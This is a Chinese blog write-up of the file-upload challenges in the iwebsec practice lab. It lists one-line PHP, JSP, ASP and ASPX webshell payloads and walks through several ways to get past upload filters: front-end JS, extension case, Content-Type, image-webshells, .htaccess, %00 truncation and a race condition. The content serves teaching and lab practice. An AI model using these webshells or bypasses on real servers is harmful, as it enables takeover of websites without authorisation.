iwebsec靶场(文件上传)

iwebsec靶场(文件上传)

一、文件上传概念

  • 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是mua,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

二、webshell

  • WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
  • WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

三、一句话mua

  • PHP

    <?php @eval($_POST['r00ts']);?>
    
    <?php phpinfo();?>
    
    <?php @eval($_POST[cmd]);?>
    
    <?php @eval($_REQUEST[cmd]);?>
    
    <?php assert($_REQUEST[cmd]); ?>
    
    <?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
    
  • JSP

    <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
    
    <form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
    
  • ASP

    <%eval(Request.Item["r00ts"],”unsafe”);%>
    
    <%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 
    
    <%execute(request(“1″))%> 
    
    <scriptrunat=server>execute request(“1″)</script> 
    
  • ASPX

    <scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 
    
    <script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 
    
    <%eval request(chr(35))%>
    

四、靶场地址:http://iwebsec.com/

五、前端JS过滤绕过

1.前端JS过滤
  • 使用JS在前端禁止上传.asp .aspx .php .jsp后缀文件。将JS语句删除或者禁用JS即可上传
2.绕过
  • 方法一:删除属性值,让JS语句不触发

    按F12打开调试页面,用左上角的鼠标选中对应的元素,并将其中对应的属性值删除

    请添加图片描述

  • 方法二:使用插件或者在设置中禁用JS,然后刷新页面在上传文件

    请添加图片描述

  • 方法三:使用BP进行修改

    在将文件改为.jpg后缀,点击上传并使用BP抓包,然后在BP修改文件后缀名为.php,content-type改为text/html

    请添加图片描述

3.文件上传成功
  • 文件上传成功,返回文件的保存路径

    请添加图片描述

4.连接shell
  • 使用蚁剑连接shell

    请添加图片描述

六、文件名过滤绕过

1.文件后缀在后端进行了限制
2.绕过
  • 等价替换文件后缀,比如将后缀改为.phP等
    请添加图片描述
3.文件上传成功
  • 文件上传成功,使用F12查看文件保存路径

七、Content-Type过滤绕过

1.Content-Type被限制
  • Content-Type,即是Internet Media Type,互联网媒体类型,也叫做MIME类型。. 在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。. 最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。. 在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。. 它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等
2.绕过
  • 上传文件使用BP抓包,将Content-Type改为不被限制的格式,比如image/jpeg
    请添加图片描述
3.文件上传成功
  • 文件上传成功,使用F12查看文件保存路径

八、文件头过滤绕过

1.尝试绕过
  • 尝试双写、大小写、修改等价后缀等等方法都不能绕绕过

  • 尝试图片ma绕过,制作图片ma

    Windows:copy 1.jpg /b + glc.php /a glc.jpg
    Linux:cat 1.jpg glc.php > glc.jpg
    
    1.jpg为任意图片文件,glc.php含有一名话mua,glc.jpg为生成的图片ma
    
  • jpg文件标志:FF D8 开头;FF D9 结束

    请添加图片描述
    请添加图片描述

2.绕过
  • 上传制作好的图片ma,因为上传后文件后缀为jpg,我们无法利用,所以要结合BP修改扩展名为.php

    请添加图片描述

3.文件上传成功
  • 文件上传成功,使用F12查看文件保存路径

九、.htaccess文件绕过

1.文件介绍

.htaccess文件 (或者"分布式 配置文件 "),全称是 Hypertext Access (超文本 入口)。 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有 子目录

2.文件内容
<FilesMatch "glc.jpg(即将上传的文件名)">

  SetHandler application/x-httpd-php

</FilesMatch>
3.利用条件
  • 在此文件中设置 AllowOverried All ,才能使用.htaccess文件
4.绕过
  • 上传.htaccess文件

    请添加图片描述

  • 将一句话mua文件改为.htaccess文件中的文件名并上传

    请添加图片描述

5.文件上传成功
  • 文件上传成功,使用F12查看文件保存路径
6.连接shell
  • 使用蚁剑连接shell

    请添加图片描述

十、文件截断上传

1.%00截断
  • 在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
2.绕过
  • 上传文件用户名前缀即文件上传后的名称,此处我们就加上%00

    请添加图片描述

  • 上传后用BP抓包,并将%00进行URL编码

    请添加图片描述

3.上传成功

请添加图片描述

4.连接shell
  • 虽然文件上传成功后文件后缀中含有_随机数.jpg,但是我们不用理会,将他删除再访问即可
    请添加图片描述

十一、条件竞争文件上传

1.条件竞争
  • 这里指的是文件上传后,会对文件的进行识别,如果是恶意文件,电脑会将此文件删除

    请添加图片描述

2.绕过
  • 当我们快速连续上传,使得电脑做不出那么快的反应,造成文件上出不及时,从而产生文件上传成功

  • 上传文件,使用BP抓包,将请求报发送到Intruder板块,清除所有payload位置

    请添加图片描述

  • 点击载荷,选择没有payload,将攻击次数调大,点击攻击

    请添加图片描述

3.文件上传成功

  • 发现漏网之鱼

    请添加图片描述

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
iwebsec靶场是一个漏洞集成容器,其中集成了大量的web漏洞环境,包括SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的漏洞环境。\[1\] 要搭建iwebsec靶场,可以使用docker来运行容器。可以使用以下命令来启动靶场并将宿主机的8001端口映射给iwebsec靶场的80服务: docker run --restart=always --name iwebsec -it -dp 8001:80 iwebsec/iwebsec \[2\] 这样每次启动靶场时,都会自动运行,并且宿主机的8001端口会映射给靶场的80服务。 需要注意的是,iwebsec靶场还包含一些漏洞渗透,如redis数据库漏洞和MySQL数据库漏洞。如果需要进行渗透测试,需要将iwebsec靶场中的redis服务端口号和MySQL服务端口号映射到主机端口中。可以使用以下命令来查找iwebsec的配置文件: find / -name iwebsec_info.md \[3\] #### 引用[.reference_title] - *1* [Web安全 iwebsec 靶场搭建.](https://blog.csdn.net/weixin_54977781/article/details/130341391)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [iwebsec靶场搭建](https://blog.csdn.net/mooyuan/article/details/128031434)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值